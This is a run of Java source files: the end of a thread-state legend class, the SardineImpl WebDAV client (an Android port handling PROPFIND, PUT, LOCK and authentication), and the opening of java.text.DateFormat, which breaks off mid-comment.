int LEGEND_BOX_TO_LABEL_DISTANCE= 7; public static final LegendItem LEGENDITEM_RUNNABLE; public static final LegendItem LEGENDITEM_BLOCKED; public static final LegendItem LEGENDITEM_WAITING_GENERAL; public static final LegendItem LEGENDITEM_WAITING_TIMEOUT; public static final LegendItem LEGENDITEM_WAITING_INDEFINITELY; public static final LegendItem LEGENDITEM_DEAD; public static final LegendItem LEGENDITEM_SUSPENDED; public static final LegendItem LEGENDITEM_SLEEPING; static { LEGENDITEM_RUNNABLE = addLegendItem("Runnable" , COLOR_RUNNABLE); LEGENDITEM_BLOCKED = addLegendItem("Blocked" , COLOR_BLOCKED); LEGENDITEM_WAITING_GENERAL = addLegendItem("Waiting" , COLOR_WAITING_GENERAL); LEGENDITEM_WAITING_TIMEOUT = addLegendItem("Waiting (timeout)" , COLOR_WAITING_TIMEOUT); LEGENDITEM_WAITING_INDEFINITELY = addLegendItem("Waiting (indef.)" , COLOR_WAITING_INDEFINITELY); LEGENDITEM_DEAD = addLegendItem("Dead" , COLOR_DEAD); LEGENDITEM_SUSPENDED = addLegendItem("Suspended" , COLOR_SUSPENDED); LEGENDITEM_SLEEPING = addLegendItem("Sleeping" , COLOR_SLEEPING); } private static LegendItem addLegendItem(String title,Color color) { final LegendItem result = new LegendItem(title,color); LEGEND_ITEMS.add( result ); return result; } public static final int BAR_SPACING = 2; public static final int Y_OFFSET = 35; public static final int X_OFFSET = 10; public static LegendItem getLegendItemForEvent(ThreadEvent event) { if ( event.type == ThreadEvent.THREAD_START ) { return LEGENDITEM_RUNNABLE; } if ( event.type == ThreadEvent.THREAD_DEATH ) { return LEGENDITEM_DEAD; } final int state = event.threadStateMask; if ( JVMTIThreadState.ALIVE.isSet( state ) ) { if ( JVMTIThreadState.WAITING.isSet( state ) ) { if ( JVMTIThreadState.WAITING_WITH_TIMEOUT.isSet( state ) ) { return LEGENDITEM_WAITING_TIMEOUT; } if ( JVMTIThreadState.WAITING_INDEFINITELY.isSet( state ) ) { return LEGENDITEM_WAITING_INDEFINITELY; } return LEGENDITEM_WAITING_GENERAL; } if ( JVMTIThreadState.BLOCKED_ON_MONITOR_ENTER.isSet( state ) ) { return LEGENDITEM_BLOCKED; } if ( JVMTIThreadState.SUSPENDED.isSet( state ) ) { return LEGENDITEM_SUSPENDED; } if ( JVMTIThreadState.SLEEPING.isSet( state ) ) { return LEGENDITEM_SLEEPING; } if ( JVMTIThreadState.RUNNABLE.isSet( state ) ) { return LEGENDITEM_RUNNABLE; } } return LEGENDITEM_DEAD; } }
/* * Copyright 2009-2011 Jon Stevens et al. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.aflx.sardine.impl; import java.io.IOException; import java.io.InputStream; import java.net.ProxySelector; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import ch.boye.httpclientandroidlib.HttpEntity; import ch.boye.httpclientandroidlib.HttpException; import ch.boye.httpclientandroidlib.HttpHost; import ch.boye.httpclientandroidlib.HttpRequest; import ch.boye.httpclientandroidlib.HttpRequestInterceptor; import ch.boye.httpclientandroidlib.HttpResponse; import ch.boye.httpclientandroidlib.HttpStatus; import ch.boye.httpclientandroidlib.HttpVersion; import ch.boye.httpclientandroidlib.auth.AuthScope; import ch.boye.httpclientandroidlib.auth.AuthState; import ch.boye.httpclientandroidlib.auth.Credentials; import ch.boye.httpclientandroidlib.auth.NTCredentials; import ch.boye.httpclientandroidlib.auth.UsernamePasswordCredentials; import ch.boye.httpclientandroidlib.client.CredentialsProvider; import ch.boye.httpclientandroidlib.client.HttpResponseException; import ch.boye.httpclientandroidlib.client.ResponseHandler; import ch.boye.httpclientandroidlib.client.methods.HttpDelete; import ch.boye.httpclientandroidlib.client.methods.HttpGet; import ch.boye.httpclientandroidlib.client.methods.HttpHead; import ch.boye.httpclientandroidlib.client.methods.HttpPut; import ch.boye.httpclientandroidlib.client.methods.HttpRequestBase; import ch.boye.httpclientandroidlib.client.params.AuthPolicy; import ch.boye.httpclientandroidlib.client.protocol.ClientContext; import ch.boye.httpclientandroidlib.conn.ClientConnectionManager; import ch.boye.httpclientandroidlib.conn.routing.HttpRoutePlanner; import ch.boye.httpclientandroidlib.conn.scheme.PlainSocketFactory; import ch.boye.httpclientandroidlib.conn.scheme.Scheme; import ch.boye.httpclientandroidlib.conn.scheme.SchemeRegistry; import ch.boye.httpclientandroidlib.conn.ssl.SSLSocketFactory; import ch.boye.httpclientandroidlib.entity.ByteArrayEntity; import ch.boye.httpclientandroidlib.entity.InputStreamEntity; import ch.boye.httpclientandroidlib.entity.StringEntity; import ch.boye.httpclientandroidlib.impl.auth.BasicScheme; import ch.boye.httpclientandroidlib.impl.client.AbstractHttpClient; import ch.boye.httpclientandroidlib.impl.client.DefaultHttpClient; import ch.boye.httpclientandroidlib.impl.conn.ProxySelectorRoutePlanner; import ch.boye.httpclientandroidlib.impl.conn.tsccm.ThreadSafeClientConnManager; import ch.boye.httpclientandroidlib.params.BasicHttpParams; import ch.boye.httpclientandroidlib.params.HttpConnectionParams; import ch.boye.httpclientandroidlib.params.HttpParams; import ch.boye.httpclientandroidlib.params.HttpProtocolParams; import ch.boye.httpclientandroidlib.protocol.BasicHttpContext; import ch.boye.httpclientandroidlib.protocol.ExecutionContext; import ch.boye.httpclientandroidlib.protocol.HTTP; import ch.boye.httpclientandroidlib.protocol.HttpContext; import ch.boye.httpclientandroidlib.util.VersionInfo; import de.aflx.sardine.util.QName; import de.aflx.sardine.DavResource; import de.aflx.sardine.Sardine; import de.aflx.sardine.Version; import de.aflx.sardine.impl.handler.ExistsResponseHandler; import de.aflx.sardine.impl.handler.LockResponseHandler; import de.aflx.sardine.impl.handler.MultiStatusResponseHandler; import de.aflx.sardine.impl.handler.VoidResponseHandler; import de.aflx.sardine.impl.io.ConsumingInputStream; import de.aflx.sardine.impl.methods.HttpCopy; import de.aflx.sardine.impl.methods.HttpLock; import de.aflx.sardine.impl.methods.HttpMkCol; import de.aflx.sardine.impl.methods.HttpMove; import de.aflx.sardine.impl.methods.HttpPropFind; import de.aflx.sardine.impl.methods.HttpUnlock; import de.aflx.sardine.model.Allprop; import de.aflx.sardine.model.Exclusive; import de.aflx.sardine.model.Lockinfo; import de.aflx.sardine.model.Lockscope; import de.aflx.sardine.model.Locktype; import de.aflx.sardine.model.Multistatus; import de.aflx.sardine.model.Propfind; import de.aflx.sardine.model.Response; import de.aflx.sardine.model.Write; import de.aflx.sardine.util.Logger; import de.aflx.sardine.util.SardineUtil; /** * Implementation of the Sardine interface. This is where the meat of the * Sardine library lives. * * @author jonstevens * @version $Id: SardineImpl.java 313 2011-11-18 22:18:37Z dkocher@sudo.ch $ */ public class SardineImpl implements Sardine { private static Logger log = new Logger(); private static final String UTF_8 = "UTF-8"; protected HttpRequestBase _currentRequest; protected boolean _isAborted = false; /** * HTTP Implementation */ private AbstractHttpClient client; /** * Local context with authentication cache. Make sure the same context is * used to execute logically related requests. */ private HttpContext context = new BasicHttpContext(); /** * Access resources with no authentication */ public SardineImpl() { this(null, null); } /** * Supports standard authentication mechanisms * * @param username * Use in authentication header credentials * @param password * Use in authentication header credentials */ public SardineImpl(String username, String password) { this(username, password, null); } /** * @param username * Use in authentication header credentials * @param password * Use in authentication header credentials * @param selector * Proxy configuration */ public SardineImpl(String username, String password, ProxySelector selector) { this.init(this.createDefaultClient(selector), username, password); } /** * @param http * Custom client configuration */ public SardineImpl(AbstractHttpClient http) { this(http, null, null); } /** * @param http * Custom client configuration * @param username * Use in authentication header credentials * @param password * Use in authentication header credentials */ public SardineImpl(AbstractHttpClient http, String username, String password) { this.init(http, username, password); } private void init(AbstractHttpClient http, String username, String password) { this.client = http; // this.client.getParams().setParameter(CoreConnectionPNames.SO_TIMEOUT, // 4000); // this.client.getParams().setParameter( // CoreConnectionPNames.CONNECTION_TIMEOUT, 1000); // this.client.setRedirectStrategy(new DefaultRedirectStrategy() // { // @Override // boolean isRedirected(HttpRequest request, HttpResponse response, // HttpContext context) throws ProtocolException // { // int statusCode = response.getStatusLine().getStatusCode(); // String method = request.getRequestLine().getMethod(); // Header locationHeader = response.getFirstHeader("location"); // switch (statusCode) // { // case HttpStatus.SC_MOVED_TEMPORARILY: // return (method.equalsIgnoreCase(HttpGet.METHOD_NAME) // || method.equalsIgnoreCase(HttpHead.METHOD_NAME) // || method.equalsIgnoreCase(HttpLock.METHOD_NAME) // || method.equalsIgnoreCase(HttpPropFind.METHOD_NAME)) && // (locationHeader != null); // case HttpStatus.SC_MOVED_PERMANENTLY: // case HttpStatus.SC_TEMPORARY_REDIRECT: // return method.equalsIgnoreCase(HttpGet.METHOD_NAME) // || method.equalsIgnoreCase(HttpHead.METHOD_NAME) // || method.equalsIgnoreCase(HttpLock.METHOD_NAME) // || method.equalsIgnoreCase(HttpPropFind.METHOD_NAME); // case HttpStatus.SC_SEE_OTHER: // return true; // default: // return false; // } // } // // @Override // public HttpUriRequest getRedirect(HttpRequest request, HttpResponse // response, HttpContext context) // throws ProtocolException // { // String method = request.getRequestLine().getMethod(); // if (method.equalsIgnoreCase(HttpPropFind.METHOD_NAME)) // { // return new HttpPropFind(this.getLocationURI(request, response, // context)); // } // if (method.equalsIgnoreCase(HttpLock.METHOD_NAME)) // { // return new HttpLock(this.getLocationURI(request, response, context)); // } // return super.getRedirect(request, response, context); // } // }); this.client.addRequestInterceptor(preemptiveAuth, 0); this.setCredentials(username, password); log.warn("init"); } public HttpRequestBase getCurrentRequest() { return _currentRequest; } public void abort() { _isAborted = true; _currentRequest.abort(); } public boolean isAborted() { return _isAborted; } /** * Add credentials to any scope. Supports Basic, Digest and NTLM * authentication methods. * * @param username * Use in authentication header credentials * @param password * Use in authentication header credentials */ public void setCredentials(String username, String password) { this.setCredentials(username, password, "", ""); } /** * @param username * Use in authentication header credentials * @param password * Use in authentication header credentials * @param domain * NTLM authentication * @param workstation * NTLM authentication */ public void setCredentials(String username, String password, String domain, String workstation) { if (username != null) { this.client.getCredentialsProvider().setCredentials( new AuthScope(AuthScope.ANY_HOST, AuthScope.ANY_PORT, AuthScope.ANY_REALM, AuthPolicy.NTLM), new NTCredentials(username, password, workstation, domain)); this.client.getCredentialsProvider().setCredentials( new AuthScope(AuthScope.ANY_HOST, AuthScope.ANY_PORT, AuthScope.ANY_REALM, AuthPolicy.BASIC), new UsernamePasswordCredentials(username, password)); this.client.getCredentialsProvider().setCredentials( new AuthScope(AuthScope.ANY_HOST, AuthScope.ANY_PORT, AuthScope.ANY_REALM, AuthPolicy.DIGEST), new UsernamePasswordCredentials(username, password)); } } HttpRequestInterceptor preemptiveAuth = new HttpRequestInterceptor() { public void process(final HttpRequest request, final HttpContext context) throws HttpException, IOException { AuthState authState = (AuthState) context.getAttribute(ClientContext.TARGET_AUTH_STATE); CredentialsProvider credsProvider = (CredentialsProvider) context.getAttribute( ClientContext.CREDS_PROVIDER); HttpHost targetHost = (HttpHost) context.getAttribute(ExecutionContext.HTTP_TARGET_HOST); if (authState.getAuthScheme() == null) { AuthScope authScope = new AuthScope(targetHost.getHostName(), targetHost.getPort()); Credentials creds = credsProvider.getCredentials(authScope); if (creds != null) { authState.setAuthScheme(new BasicScheme()); authState.setCredentials(creds); } } } }; /** * Adds handling of GZIP compression to the client. */ public void enableCompression() { // this.client.addRequestInterceptor(new RequestAcceptEncoding()); // this.client.addResponseInterceptor(new ResponseContentEncoding()); } /** * Disable GZIP compression header. */ public void disableCompression() { // this.client.removeRequestInterceptorByClass(RequestAcceptEncoding.class); // this.client.removeResponseInterceptorByClass(ResponseContentEncoding.class); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#enablePreemptiveAuthentication(String) */ public void enablePreemptiveAuthentication(String hostname) { // AuthCache authCache = new BasicAuthCache(); // // Generate Basic preemptive scheme object and stick it to the local // execution context // BasicScheme basicAuth = new BasicScheme(); // SchemeRegistry registry = // this.client.getConnectionManager().getSchemeRegistry(); // // Configure HttpClient to authenticate preemptively by prepopulating // the authentication data cache. // for (String scheme : registry.getSchemeNames()) // { // int port = registry.getScheme(scheme).getDefaultPort(); // authCache.put(new HttpHost(hostname), basicAuth); // authCache.put(new HttpHost(hostname, -1, scheme), basicAuth); // authCache.put(new HttpHost(hostname, port, scheme), basicAuth); // } // // Add AuthCache to the execution context // this.context.setAttribute(ClientContext.AUTH_CACHE, authCache); } /* * (non-Javadoc) * * @see * de.aflx.sardine.Sardine#disablePreemptiveAuthentication(java.lang * .String, java.lang.String, int) */ public void disablePreemptiveAuthentication() { // this.context.removeAttribute(ClientContext.AUTH_CACHE); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#getResources(java.lang.String) */ public List<DavResource> getResources(String url) throws IOException { return this.list(url); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#list(java.lang.String) */ public List<DavResource> list(String url) throws IOException { return this.list(url, 1); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#list(java.lang.String) */ public List<DavResource> list(String url, int depth) throws IOException { log.warn("list"); HttpPropFind entity = new HttpPropFind(url); entity.setDepth(Integer.toString(depth)); Propfind body = new Propfind(); body.setAllprop(new Allprop()); // entity.setEntity(new StringEntity(SardineUtil.toXml(body), UTF_8)); entity.setEntity(new StringEntity("<?xml version=\"1.0\" encoding=\"utf-8\" ?><D:propfind xmlns:D=\"DAV:\"> <D:allprop/></D:propfind>", UTF_8)); Multistatus multistatus = this.execute(entity, new MultiStatusResponseHandler()); List<Response> responses = multistatus.getResponse(); log.warn("getResponse"); List<DavResource> resources = new ArrayList<DavResource>( responses.size()); for (Response response : responses) { log.warn("LLL " + response.getHref()); try { resources.add(new DavResource(response)); } catch (URISyntaxException e) { log.warn(String.format("Ignore resource with invalid URI %s", response.getHref())); } } return resources; } public void setCustomProps(String url, Map<String, String> set, List<String> remove) throws IOException { this.patch(url, SardineUtil.toQName(set), SardineUtil.toQName(remove)); } public List<DavResource> patch(String url, Map<QName, String> setProps) throws IOException { return this.patch(url, setProps, Collections.<QName> emptyList()); } /** * Creates a {@link de.aflx.sardine.model.Propertyupdate} element * containing all properties to set from setProps and all properties to * remove from removeProps. Note this method will use a * {@link de.aflx.sardine.util.SardineUtil#CUSTOM_NAMESPACE_URI} as * namespace and * {@link de.aflx.sardine.util.SardineUtil#CUSTOM_NAMESPACE_PREFIX} * as prefix. */ public List<DavResource> patch(String url, Map<QName, String> setProps, List<QName> removeProps) throws IOException { /*HttpPropPatch entity = new HttpPropPatch(url); // Build WebDAV <code>PROPPATCH</code> entity. Propertyupdate body = new Propertyupdate(); // Add properties { Set set = new Set(); body.getRemoveOrSet().add(set); Prop prop = new Prop(); // Returns a reference to the live list List<Element> any = prop.getAny(); for (Map.Entry<QName, String> entry : setProps.entrySet()) { Element element = SardineUtil.createElement(entry.getKey()); element.setTextContent(entry.getValue()); any.add(element); } set.setProp(prop); } // Remove properties { Remove remove = new Remove(); body.getRemoveOrSet().add(remove); Prop prop = new Prop(); // Returns a reference to the live list List<Element> any = prop.getAny(); for (QName entry : removeProps) { Element element = SardineUtil.createElement(entry); any.add(element); } remove.setProp(prop); } // entity.setEntity(new StringEntity(SardineUtil.toXml(body), UTF_8)); // MS multistatus = this.execute(entity, // new MultiStatusResponseHandler()); // List<Response> responses = multistatus.getResponse(); List<DavResource> resources = new ArrayList<DavResource>( 1); // for (Response response : responses) { // try { // resources.add(new DavResource(response)); // } catch (URISyntaxException e) { // log.warn(String.format("Ignore resource with invalid URI %s", // response.getHref().get(0))); // } // } return resources;*/ return null; } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#lock(java.lang.String) */ public String lock(String url) throws IOException { HttpLock entity = new HttpLock(url); Lockinfo body = new Lockinfo(); Lockscope scopeType = new Lockscope(); scopeType.setExclusive(new Exclusive()); body.setLockscope(scopeType); Locktype lockType = new Locktype(); lockType.setWrite(new Write()); body.setLocktype(lockType); // entity.setEntity(new StringEntity(SardineUtil.toXml(body), UTF_8)); // Return the lock token return this.execute(entity, new LockResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#unlock(java.lang.String, * java.lang.String) */ public void unlock(String url, String token) throws IOException { HttpUnlock entity = new HttpUnlock(url, token); Lockinfo body = new Lockinfo(); Lockscope scopeType = new Lockscope(); scopeType.setExclusive(new Exclusive()); body.setLockscope(scopeType); Locktype lockType = new Locktype(); lockType.setWrite(new Write()); body.setLocktype(lockType); this.execute(entity, new VoidResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#get(java.lang.String) */ public ConsumingInputStream get(String url) throws IOException { return this.get(url, Collections.<String, String> emptyMap()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#get(java.lang.String, java.util.Map) */ public ConsumingInputStream get(String url, Map<String, String> headers) throws IOException { HttpGet get = new HttpGet(url); for (String header : headers.keySet()) { get.addHeader(header, headers.get(header)); } // Must use #execute without handler, otherwise the entity is consumed // already after the handler exits. HttpResponse response = this.execute(get); VoidResponseHandler handler = new VoidResponseHandler(); try { handler.handleResponse(response); // Will consume the entity when the stream is closed. return new ConsumingInputStream(response); } catch (IOException ex) { get.abort(); throw ex; } } /* * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, byte[]) */ public void put(String url, byte[] data) throws IOException { this.put(url, data, null); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, byte[], * java.lang.String) */ public void put(String url, byte[] data, String contentType) throws IOException { ByteArrayEntity entity = new ByteArrayEntity(data); this.put(url, entity, contentType, true); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, * java.io.InputStream) */ public void put(String url, InputStream dataStream) throws IOException { this.put(url, dataStream, (String) null); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, * java.io.InputStream, java.lang.String) */ public void put(String url, InputStream dataStream, String contentType) throws IOException { this.put(url, dataStream, contentType, true); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, * java.io.InputStream, java.lang.String, boolean) */ public void put(String url, InputStream dataStream, String contentType, boolean expectContinue) throws IOException { // A length of -1 means "go until end of stream" InputStreamEntity entity = new InputStreamEntity(dataStream, -1); this.put(url, entity, contentType, expectContinue); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#put(java.lang.String, * java.io.InputStream, java.util.Map) */ public void put(String url, InputStream dataStream, Map<String, String> headers) throws IOException { // A length of -1 means "go until end of stream" InputStreamEntity entity = new InputStreamEntity(dataStream, -1); this.put(url, entity, headers); } /** * Upload the entity using <code>PUT</code> * * @param url * Resource * @param entity * The entity to read from * @param contentType * Content Type header * @param expectContinue * Add <code>Expect: continue</code> header */ public void put(String url, HttpEntity entity, String contentType, boolean expectContinue) throws IOException { Map<String, String> headers = new HashMap<String, String>(); if (contentType != null) { headers.put("Content-Type", contentType); } if (expectContinue) { headers.put(HTTP.EXPECT_DIRECTIVE, HTTP.EXPECT_CONTINUE); } this.put(url, entity, headers); } /** * Upload the entity using <code>PUT</code> * * @param url * Resource * @param entity * The entity to read from * @param headers * Headers to add to request */ public void put(String url, HttpEntity entity, Map<String, String> headers) throws IOException { HttpPut put = new HttpPut(url); _currentRequest = put; _isAborted = false; put.setEntity(entity); for (String header : headers.keySet()) { put.addHeader(header, headers.get(header)); } if (!put.containsHeader("Content-Type")) { put.addHeader("Content-Type", HTTP.DEFAULT_CONTENT_TYPE); } try { this.execute(put, new VoidResponseHandler()); } catch (HttpResponseException e) { if (e.getStatusCode() == HttpStatus.SC_EXPECTATION_FAILED) { // Retry with the Expect header removed put.removeHeaders(HTTP.EXPECT_DIRECTIVE); if (entity.isRepeatable()) { this.execute(put, new VoidResponseHandler()); return; } } throw e; } } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#delete(java.lang.String) */ public void delete(String url) throws IOException { HttpDelete delete = new HttpDelete(url); this.execute(delete, new VoidResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#move(java.lang.String, * java.lang.String) */ public void move(String sourceUrl, String destinationUrl) throws IOException { HttpMove move = new HttpMove(sourceUrl, destinationUrl); this.execute(move, new VoidResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#copy(java.lang.String, * java.lang.String) */ public void copy(String sourceUrl, String destinationUrl) throws IOException { HttpCopy copy = new HttpCopy(sourceUrl, destinationUrl); this.execute(copy, new VoidResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#createDirectory(java.lang.String) */ public void createDirectory(String url) throws IOException { HttpMkCol mkcol = new HttpMkCol(url); this.execute(mkcol, new VoidResponseHandler()); } /** * (non-Javadoc) * * @see de.aflx.sardine.Sardine#exists(java.lang.String) */ public boolean exists(String url) throws IOException { HttpHead head = new HttpHead(url); return this.execute(head, new ExistsResponseHandler()); } /** * Validate the response using the response handler. Aborts the request if * there is an exception. * * @param <T> * Return type * @param request * Request to execute * @param responseHandler * Determines the return type. * @return parsed response */ protected <T> T execute(HttpRequestBase request, ResponseHandler<T> responseHandler) throws IOException { try { // Clear circular redirect cache // this.context.removeAttribute(DefaultRedirectStrategy.REDIRECT_LOCATIONS); // Execute with response handler return this.client.execute(request, responseHandler, this.context); } catch (IOException e) { request.abort(); throw e; } } /** * No validation of the response. Aborts the request if there is an * exception. * * @param request * Request to execute * @return The response to check the reply status code */ protected HttpResponse execute(HttpRequestBase request) throws IOException { try { // Clear circular redirect cache // this.context.removeAttribute(DefaultRedirectStrategy.REDIRECT_LOCATIONS); // Execute with no response handler return this.client.execute(request, this.context); } catch (IOException e) { request.abort(); throw e; } } /** * Creates an AbstractHttpClient with all of the defaults. */ protected AbstractHttpClient createDefaultClient(ProxySelector selector) { SchemeRegistry schemeRegistry = this.createDefaultSchemeRegistry(); ClientConnectionManager cm = this .createDefaultConnectionManager(schemeRegistry); HttpParams params = this.createDefaultHttpParams(); AbstractHttpClient client = new DefaultHttpClient(cm, params); client.setRoutePlanner(this.createDefaultRoutePlanner(schemeRegistry, selector)); return client; } /** * Creates default params setting the user agent. * * @return Basic HTTP parameters with a custom user agent */ protected HttpParams createDefaultHttpParams() { HttpParams params = new BasicHttpParams(); HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1); String version = Version.getSpecification(); if (version == null) { version = VersionInfo.UNAVAILABLE; } HttpProtocolParams.setUserAgent(params, "Sardine/" + version); // Only selectively enable this for PUT but not all entity enclosing // methods HttpProtocolParams.setUseExpectContinue(params, false); HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1); HttpProtocolParams.setContentCharset(params, HTTP.DEFAULT_CONTENT_CHARSET); HttpConnectionParams.setTcpNoDelay(params, true); HttpConnectionParams.setSocketBufferSize(params, 8192); return params; } /** * Creates a new {@link org.apache.http.conn.scheme.SchemeRegistry} for * default ports with socket factories. * * @return a new {@link org.apache.http.conn.scheme.SchemeRegistry}. */ protected SchemeRegistry createDefaultSchemeRegistry() { SchemeRegistry registry = new SchemeRegistry(); registry.register(new Scheme("http", this.createDefaultSocketFactory(), 80)); registry.register(new Scheme("https", this .createDefaultSecureSocketFactory(), 443)); return registry; } /** * @return Default socket factory */ protected PlainSocketFactory createDefaultSocketFactory() { return PlainSocketFactory.getSocketFactory(); } /** * @return Default SSL socket factory */ protected SSLSocketFactory createDefaultSecureSocketFactory() { return SSLSocketFactory.getSocketFactory(); } /** * Use fail fast connection manager when connections are not released * properly. * * @param schemeRegistry * Protocol registry * @return Default connection manager */ protected ClientConnectionManager createDefaultConnectionManager( SchemeRegistry schemeRegistry) { return new ThreadSafeClientConnManager(createDefaultHttpParams(), schemeRegistry); } /** * Override to provide proxy configuration * * @param schemeRegistry * Protocol registry * @param selector * Proxy configuration * @return ProxySelectorRoutePlanner configured with schemeRegistry and * selector */ protected HttpRoutePlanner createDefaultRoutePlanner( SchemeRegistry schemeRegistry, ProxySelector selector) { return new ProxySelectorRoutePlanner(schemeRegistry, selector); } }
/* * Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. * * * * * * * * * * * * * * * * * * * * */ /* * (C) Copyright Taligent, Inc. 1996 - All Rights Reserved * (C) Copyright IBM Corp. 1996 - All Rights Reserved * * The original version of this source code and documentation is copyrighted * and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These * materials are provided under terms of a License Agreement between Taligent * and Sun. This technology is protected by multiple US and International * patents. This notice and attribution to Taligent may not be removed. * Taligent is a registered trademark of Taligent, Inc. * */ package java.text; import java.io.InvalidObjectException; import java.text.spi.DateFormatProvider; import java.util.Calendar; import java.util.Date; import java.util.GregorianCalendar; import java.util.HashMap; import java.util.Locale; import java.util.Map; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.TimeZone; import java.util.spi.LocaleServiceProvider; import sun.util.LocaleServiceProviderPool; /** * {@code DateFormat} is an abstract class for date/time formatting subclasses which * formats and parses dates or time in a language-independent manner. * The date/time formatting subclass, such as {@link SimpleDateFormat}, allows for * formatting (i.e., date -> text), parsing (text -> date), and * normalization. The date is represented as a <code>Date</code> object or * as the milliseconds since January 1, 1970, 00:00:00 GMT. * * <p>{@code DateFormat} provides many class methods for obtaining default date/time * formatters based on the default or a given locale and a number of formatting * styles. The formatting styles include {@link #FULL}, {@link #LONG}, {@link #MEDIUM}, and {@link #SHORT}. More * detail and examples of using these styles are provided in the method * descriptions. * * <p>{@code DateFormat} helps you to format and parse dates for any locale. * Your code can be completely independent of the locale conventions for * months, days of the week, or even the calendar format: lunar vs. solar. * * <p>To format a date for the current Locale, use one of the * static factory methods: * <pre> * myString = DateFormat.getDateInstance().format(myDate); * </pre> * <p>If you are formatting multiple dates, it is * more efficient to get the format and use it multiple times so that * the system doesn't have to fetch the information about the local * language and country conventions multiple times. * <pre> * DateFormat df = DateFormat.getDateInstance(); * for (int i = 0; i < myDate.length; ++i) { * output.println(df.format(myDate[i]) + "; "); * } * </pre> * <p>To format a date for a different Locale, specify it in the * call to {@link #getDateInstance(int, Locale) getDateInstance()}. * <pre> * DateFormat df = DateFormat.getDateInstance(DateFormat.LONG, Locale.FRANCE); * </pre> * <p>You can use a DateFormat to parse also. * <pre> * myDate = df.parse(myString); * </pre> * <p>Use {@code getDateInstance} to get the normal date format for that country. * There are other static factory methods available. * Use {@code getTimeInstance} to get the time format for that country. * Use {@code getDateTimeInstance} to get a date and time format. You can pass in * different options to these factory methods to control the length of the * result; from {@link #SHORT} to {@link #MEDIUM} to {@link #LONG} to {@link #FULL}. The exact result depends * on the locale, but generally: * <ul><li>{@link #SHORT} is completely numeric, such as {@code 12.13.52} or {@code 3:30pm} * <li>{@link #MEDIUM} is longer, such as {@code Jan 12, 1952} * <li>{@link #LONG} is longer, such as {@code January 12, 1952} or {@code 3:30:32pm} * <li>{@link #FULL} is pretty completely specified, such as * {@code Tuesday, April 12, 1952 AD or 3:30:42pm PST}. * </ul> * * <p>You can also set the time zone on the format if you wish. * If you want even more control over the format or parsing, * (or want to give your users more control), * you can try casting the {@code DateFormat} you get from the factory methods * to a {@link SimpleDateFormat}. This will work for the majority * of countries; just remember to put it in a {@code try} block in case you * encounter an unusual one. * * <p>You can also use forms of the parse and format methods with * {@link ParsePosition} and {@link FieldPosition} to * allow you to * <ul><li>progressively parse through pieces of a string. * <li>align any particular field, or find out where it is for selection * on the screen. * </ul> * * <h4><a name="synchronization">Synchronization</a></h4> * * <p> * Date formats are not synchronized. * It is recommended to create separate format instances for each thread. * If multiple threads access a format concurrently, it must be synchronized * externally. * * @see Format * @see NumberFormat * @see SimpleDateFormat * @see java.util.Calendar * @see java.util.GregorianCalendar * @see java.util.TimeZone * @author Mark Davis, Chen-Lieh Huang, Alan Liu */ public abstract class DateFormat extends Format { /** * The {@link Calendar} instance used for calculating the date-time fields * and the instant of time. This field is used for both formatting and * parsing. * * <p>Subclasses should initialize this field to a {@link Calendar} * appropriate for the {@link Locale} associated with this * <code>DateFormat</code>. * @serial */ protected Calendar calendar; /** * The number formatter that <code>DateFormat</code> uses to format numbers * in dates and times. Subclasses should initialize this to a number format * appropriate for the locale associated with this <code>DateFormat</code>. * @serial */ protected NumberFormat numberFormat; /** * Useful constant for ERA field alignment. * Used in FieldPosition of date/time formatting. */ public final static int ERA_FIELD = 0; /** * Useful constant for YEAR field alignment. * Used in FieldPosition of date/time formatting. */ public final static int YEAR_FIELD = 1; /** * Useful constant for MONTH field alignment. * Used in FieldPosition of date/time formatting. */ public final static int MONTH_FIELD = 2; /** * Useful constant for DATE field alignment. * Used in FieldPosition of date/time formatting. */ public final static int DATE_FIELD = 3; /** * Useful constant for one-based HOUR_OF_DAY field alignment. * Used in FieldPosition of date/time formatting. * HOUR_OF_DAY1_FIELD is used for the one-based 24-hour clock. * For example, 23:59 + 01:00 results in 24:59. */ public final static int HOUR_OF_DAY1_FIELD = 4; /** * Useful constant for zero-based HOUR_OF_DAY field alignment. * Used in FieldPosition of date/time formatting. * HOUR_OF_DAY0_FIELD is used for the zero-based 24-hour clock. * For example, 23:59 + 01:00 results in 00:59. */ public final static int HOUR_OF_DAY0_FIELD = 5; /** * Useful constant for MINUTE field alignment. * Used in FieldPosition of date/time formatting. */ public final static int MINUTE_FIELD = 6; /** * Useful constant for SECOND field alignment. * Used in FieldPosition of date/time formatting. */ public final static int SECOND_FIELD = 7; /** * Useful constant for MILLISECOND field alignment. * 